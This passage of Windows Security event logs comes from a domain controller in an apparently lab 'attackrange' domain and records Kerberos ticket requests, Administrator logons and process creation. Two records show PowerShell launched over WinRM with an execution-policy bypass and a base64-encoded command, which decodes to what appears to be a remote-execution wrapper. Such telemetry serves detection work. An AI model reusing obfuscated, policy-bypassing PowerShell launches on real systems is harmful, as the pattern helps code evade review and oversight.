Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:32:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257451
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E434B07B-F93F-4B18-C004-AB2738D896EE}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:32:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257450
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257471
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5040E7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257470
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5040E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{BF79DE5D-392B-E0AD-BA3B-0EC924FAA722}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257469
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{BF79DE5D-392B-E0AD-BA3B-0EC924FAA722}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257468
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{BF79DE5D-392B-E0AD-BA3B-0EC924FAA722}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257467
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257466
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x50245D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc64
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4cc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257465
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x50245D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4cc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257464
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x503C7E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257463
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x503C7E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{BF79DE5D-392B-E0AD-BA3B-0EC924FAA722}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257462
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{BF79DE5D-392B-E0AD-BA3B-0EC924FAA722}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257461
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{BF79DE5D-392B-E0AD-BA3B-0EC924FAA722}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:32:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257460
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:32:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257478
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x507860

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:32:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257477
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x507860
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{98C242A6-69BD-397F-767D-102B2ACC58BC}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257476
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
